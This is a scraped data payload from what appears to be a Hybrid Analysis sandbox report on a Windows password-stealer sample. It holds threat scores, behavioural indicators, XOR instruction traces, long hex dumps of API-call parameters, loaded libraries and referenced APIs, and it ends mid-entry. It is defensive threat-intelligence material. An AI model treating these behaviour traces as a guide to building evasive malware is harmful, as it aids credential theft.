26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample 2a03f9dfaa3f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2a03f9dfaa3f…. Malware family: Malware. Threat score 100/100. 4/25 AV engines flagged this file. 17 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2a03f9dfaa3f1f2d8f17c4dbb46723d77439e6f3eeae78f1597ce78de8ade90a","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","2a03f9dfaa3f1f2d8f17c4dbb46723d77439e6f3eeae78f1597ce78de8ade90a"],"about":{"@type":"SoftwareApplication","name":"SecuriteInfo.com.Win32.PWSX-gen.18465.17543","applicationCategory":["peexe","executable"],"identifier":"2a03f9dfaa3f1f2d8f17c4dbb46723d77439e6f3eeae78f1597ce78de8ade90a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":4,"total":25},"behavioralIndicators":{"malicious":17,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5ba,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34557464'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1976238080', 'hResInfo': '8586736'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '1986105376'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34560168'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34560184'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34560216'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34563320'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34563240'}" (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadResource with parameter {'hModule': '1982005248', 'hResInfo': '34563304'}" (UID: 00000000-00005332)28:T4a2,Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00005332-34791-985-0088D8F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005332-34791-985-0088D8F0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00005332-34791-985-0088D8F0 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00005332-34791-985-0088D8F0 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00005332-34791-985-0088D8F0 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00005332-34791-985-0088D8F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005332-34791-965-008A63DB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005332-34791-965-008A63DB Assembly shows XOR instruction xor esi dword ptr [ebp-69h] in Stream UID: 37875-2-0046D000 Assembly shows XOR instruction xor eax 71D44F79h in Stream UID: 37875-2-0046D000 Assembly shows XOR instruction xor ebx ecx in Stream UID: 37875-2-0046D000 Assembly shows XOR instruction xor ecx dword ptr [F183D15Ch] in Stream UID: 37875-2-0046D00029:T21dd,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000084f23700000000000600000000005271b0f2370002000040b4f43700b4f437001a12ef76000000009cf2370000000000e06252000203ef76000200008801ef7600000000f8f43700a401ef760000000000000000000000015500530045005200330032002e0064006c006c0000000000000000000000e8760000e8760000000062f33700d000e87684f2370060f33700acf3370095e1e9768d1e1700fefffffff5f6ed7616f8ed76b81d500062f3370058f3370058f3370001000000bcf337009ef8ed76626fed7664f8ed76d9e5cd76741252711cf43700000000000000e876 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000020000001768ed76c0cb520000000000435ced76ededcd7600000000940150000000500000000000000000005001500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000003c0cb52000000000074fc3700b8f3520000005000020000008000000000000000120000000000000000000000c400500001000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000006e0200000000c06f530084fa37002eca377207000000e04d53000000500080505300ec813772c06f530000000000000000004d00000088fb370007000000070000001768ed76e84d530000000000435ced76ededcd7600000000bc0150000000500050015000a8fb3700145ced7650015000cdedcd767c015000000000004d0000000079ff745001500054000000c06f53009379ff745400000028fb37000700000014fb3700001000004000000000400000000000000300000308f55200d60000d600803001001000000000000080000000bd4ba300052000252857530001000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ed76f803000000040000badd5402b8dd540248005302600353020000000095e1e976f50e1700feffffffb2f4ed76c0f8ed760100000000005e73020000004092d17500000000000090044092d17520f38f0416d9cc754092d17502000000d816637300009004f46e6873ac01500000005000d8dd5402000000000e00c500e004000011000000000000003c000000d8c416000f009d00e0040000e8a4160088000000906e5000ff2bed76200000000200000000000000584b5200806b5000a06c500018b8540048705000000000002cf38f0400a51600bcf28f0480f4ea75b8f48f04 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000052000000907318001a00d0000000e0000000e000907300000000f4ec8f0408ee8f0454f08f0495e1e976f50e1700feffffffb2f4ed76c0f8ed7601000000000090730000000000000000ff2bed76b5fb7572ff2bed76bdfb7572e0559273ac015000000050001000ac00990000000d00bb0099000000c8ef8f04a401ef761100a700990000000e00b60099000000906e500078ee8f04906e50000000e8762000000058ff54000000000058ff5400806b5000a06c500020e05500487050000000160054ed8f0495e1e97648ef8f0495e1e976000000009cee8f0488a516002cee8f04 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2bed7661fb7572b48e5300ac0150000000500000000000000000000c00c0009f000000000000000000000000000000000000000d00bb009f0000000000000000000000906e5000ff2bed7629fb75722c759273ac01500000005000806b5000a06c50000b00c5009f0000000000000080ec8f041c00f50048ef8f040c00c0009f00000048ef8f0495e1e976906e5000feffffff20000000dd59ee760000000058ff5400806b5000a06c500070e0550048705000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000016000000000089f4ea75ee319bd30200000020e98f041ce98f0400000000d0dd5402480053029801530220a7160070e88f04c83af475e4e88f04d58cec7520e98f04b4e88f0442a4ea75a802f475f4e88f04d2f4ea75080000006ef5ea7544f5ea75b6319bd302000000341aac71000090045b51ac71c8e88f04020000004411af71f0ed58004411af7100000000f0ed580038e98f04086ded761881f57601000000000000000000ac71341aac71000090045b51ac7124a7160020a7160008e98f0448e98f04c8e98f0491e1ae714ace38bd4ce98f04c89fed764411af7100000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000370000000000b6dd37000500000081d02d766cdd370070dd37000000000060ae5a009c50ec76e26bff741c0200001c0200003cdd3700b0eac1751c0200005cdd370018e237005ecb2b761c02000000000000005d297674e437000e5d29760ce03700dcaa2d76010000000000000072000000ffffffffffffffff94dd370078020000000000002500000094dd37007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600ad0623d7ecdd37006d82e57564fc5b0004010000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000006f006d002e00570069006e00330032002e0050005700530058002d00670065006e002e00310038003400360035002e00310037003500340033002e00650078006500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2bed76fddecd76d8ebb675ac01500000005000000000000000000028003301ac0500000000000000000000000000000000000029002e01ac0500000000000000000000906e500000000000200000000000000000000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000e57501000000008000000000000000000000a0d537002333e575d4d537000080000000800000d4d537003733e57500000000dad53700c10e23d7bcd537006732e575b4da3700e50e23d7e0d73700135f2976d4d53700c6da3700000000001cdf370098365900e8dc3700205f297643003a005c0055007300650072007300000048004100500055004200570053007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600590d23d758d637006d82e57504625a0004010000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e0ab600038e33700746f1276bc762176e0ab6000d4e7370079442d76e0ab60008cf92c7648f82c7690442d7648eb37000100000000000000ab7a5900aca6600000000000e0ab600090d4590004092d7600000000000000000000000000000000000000000000000000000000000000000000000000000000ff2bed7641f2cd762f000000bc015000000050007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600953823d714e437006d82e575ecab600004010000 (UID: 00000000-00005332)2a:Tcd6,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f5f6ed7631e2cd76f42e5971e0625200a035597141e2cd767cf4370090295000b2f4ed7651e2cd768cf43700000052710000527100000000e8f33700f0000000f000527100000000f8f33700530000008cf5370000000000010000005cf4370040f5ed76000000000000000048f43700 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100005a93a2008f80a20044fc3700bc80a200f8fb3700104fa30016000000a8b7a2000000000010000000104fa30016000000a8b7a200dc8ca200060000003e8ea20006000000968ea20001b3a20042d2a20044fc37005d8ea20050fc370078047000104fa300160000000600000041d8a200 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000fa0a8e009ff28d0044fc3700ccf28d00f8fb370030bf9e00a5000000685d8e00400000001000000030bf9e00a5000000685d8e0020028e000e000000de058e000e00000036068e0001588e004ab68e0044fc3700fd058e0050fc37005c04330230bf9e00a50000000e00000091bc8e00 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000003302004001001806a00024f8000024f80000edef8d0000403302000001000c06a000b8f08d0058fa3700f020050124f8000000d08d0058fa3700cbf28d0092f9a20003faa20070243302f020050100d08d00c0fc370070fa370070243302010000000000000090ba930046020000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100003c50ec762edbcc75000000000000000000000000ae6bec763cf38f0400000000d8f38f04020000004ddfcb7579dfcb7548f38f042e0030009c1b637348f38f04000000006cf38f04961b63739c1b637367c1ea75f06e687388f38f04b2166373f06e687300000000b8f48f0400000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000efef9073bf5961580200000044c7907300009004aeca9073bca5160088a5160088ee8f040000000048ef8f0444d69173f3587e2ffeffffffefef90736def9073aeca9073dcee8f0490e89073aeca907367c1ea7528759273f8ee8f04c2c69073287592730000000028f08f0400000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebb6751829590000d0fd7f9a5cee7600f0fd7f58c9370044d0fd7f00000000400000003f0000002a00000000d0fd7f4cc93700c15cee766082f5762a00000000d0fd7f9a5cee7600f0fd7f70c937005789ed768083f57613170075d8ebb675 (UID: 00000000-00005332)2b:T12ba,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.ENU (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.EN (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter COMCTL32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter MPR.DLL (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter DUser.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DUser.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\xmllite.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter OLEACC.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005332)2c:T26dc,Found reference to API (Indicator: "GetModuleHandleA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "GetProcAddress"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "ExitProcess"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "LoadLibraryA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "MessageBoxA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "RegCloseKey"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "SysFreeString"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "CreateFontA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "ShellExecuteA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "CoUninitialize"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "HttpOpenRequestA"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "SetThreadGroupAffinity"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetThreadGroupAffinity"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumberEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: 